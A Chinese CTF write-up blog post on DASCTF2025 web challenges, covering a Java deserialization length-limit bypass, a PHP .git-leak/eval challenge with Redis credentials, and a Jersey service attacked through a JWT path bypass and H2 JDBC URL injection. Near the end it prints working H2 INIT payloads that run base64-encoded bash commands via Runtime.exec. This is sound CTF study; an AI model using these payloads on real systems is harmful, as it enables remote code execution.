DASCTF2025 上半年赛 web

DASCTF2025 上半年赛 GFCTF

半退役,看到java就再看看

小登报了两个队,一个第四名,历史新高(他们没交我那个再短一点点,不然可以拿个第三回来)

再短一点点 (一血)

帮小登交的一血,感觉不算难,也没想到竟然没其他人做出来

应该也跟之前做过1ue等大佬的字数限制题有关

wp也给过小登他们了,这里拿过来,顺便再写详细一点

使用了InflaterInputStream,可以对应使用DeflaterOutputStream进行压缩

黑名单禁用TemplatesImpl,BadAttributeValueExpException

用二次反序列化进行绕过

两次toString链子使用相同的,压缩效果更高

} catch (Exception var9) {
    var9.printStackTrace();
    StringWriter sw = new StringWriter();
    PrintWriter pw = new PrintWriter(sw);
    var9.printStackTrace(pw);
    String stackTrace = sw.toString();
    return stackTrace.contains("getStylesheetDOM") ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :(";
}

根据这段,猜测使用jackson不加稳定来减少字数,失败重启环境

可能还有使用javasist生成字节码(我也没太注意)

就没了,感觉也不复杂(除非说我非预期了)

BadAttributeValueExpException要是没被禁用的话可以更少,可以到1200

后面发现个小于1120的

phpms

没咋看,当时看到队里其他人的解题思路

.git泄露

然后使用?>绕过能够使用eval函数

但很多函数都被ban了,就卡死在这里

我当时又试了一下基本函数,都被禁用了,猜测大概是禁用()使用其他方式getshell

赛后看别人的复现

说是只有原生类,那就是列目录和读取一些有权限的文件

image-20250625004025896

然后利用读取文件的原生类使用filter-iconv的那个cve进行getshell,若是支持filter的话应该是能成功的,应该是他写的哪里出了问题

然后发现redis服务,/etc/redis.conf得到redis密码admin123,

image-20250625004057277

其实看到原生类和redis我就有个想法就是ssrf打redis

SoapClient原生类能够向内网发指令

image-20250625004649960

具体实现不清楚,就是个想法,师傅们可以试试

这个题也不想花时间复现了

(追加)后面官方WP出了,提到了无法使用SoapClient

泽西岛

给了war包,由于之前没debug过war包,花时间学了下如何部署到tomcat中然后断点debug

然后时间就快结束了(做了一题后就没咋看了)

啥功能都没有,这很明显就是让我们绕过jwt的认证

然后就能发现isBaseFile存在问题(刚开始想的时候没发现,一能debug就看出来了)

/api/testConnect;.ico绕过

然后就能连接,但过滤了init和runscript参数,以及加了forbid_creation=true

然后我就在本地测试绕过,试了很久然后往深一点跟进发现在Class.forName处就报错了

就意识到是我本地没环境的问题,然后就开题目环境测试 init和runscript加载远程文件

一直没有成功

赛后看wp

才发现不出网H2 RCE,然后绕过能使用\,我是测试过\的,应该是被不出网限制了

然后forbid_creation=true这个可以根据https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html进行绕过

image-20250625011511610

最后很巧妙的利用$CATALINA_HOME确定tomcat的根目录

$CATALINA_HOME/webapps/ROOT/404.jsp

jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;--\

(追加)

官方wp中也是大差不差,但有一点疑惑

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator')\;;AUTHZPWD=\

题目中h2的版本为2.2.220,根据p牛的文章,不是在2.0.202版本后引入了IGNORE_UNKNOWN_SETTINGS选项吗

但是使用XXX=\无法成功

只能使用已知的属性名


主要是时间不够而且没啥信心做出来,测试绕过时就测试出网的,没想到会不出网

然后测试的话本地应该多花点心思,好debug才好做出题来

finally

主要就看看泽西岛的思路,差的不是很多,但调试确实是存在点问题

复现时发现其实h2的内存模式不需要h2数据库,他是在jvm进行的,所以我本地测试没成功还是payload有问题

reference

https://su-team.cn/2025/06/21/2025-DASCTF%E4%B8%8A%E5%8D%8A%E5%B9%B4/

https://www.yuque.com/chuangfeimeiyigeren/eeii37/bkp6ldnifm2k3o1a?singleDoc


DASCTF2025 上半年赛 web
https://zer0peach.github.io/2025/06/25/DASCTF2025-上半年赛-web/
作者
Zer0peach
发布于
2025年6月25日
许可协议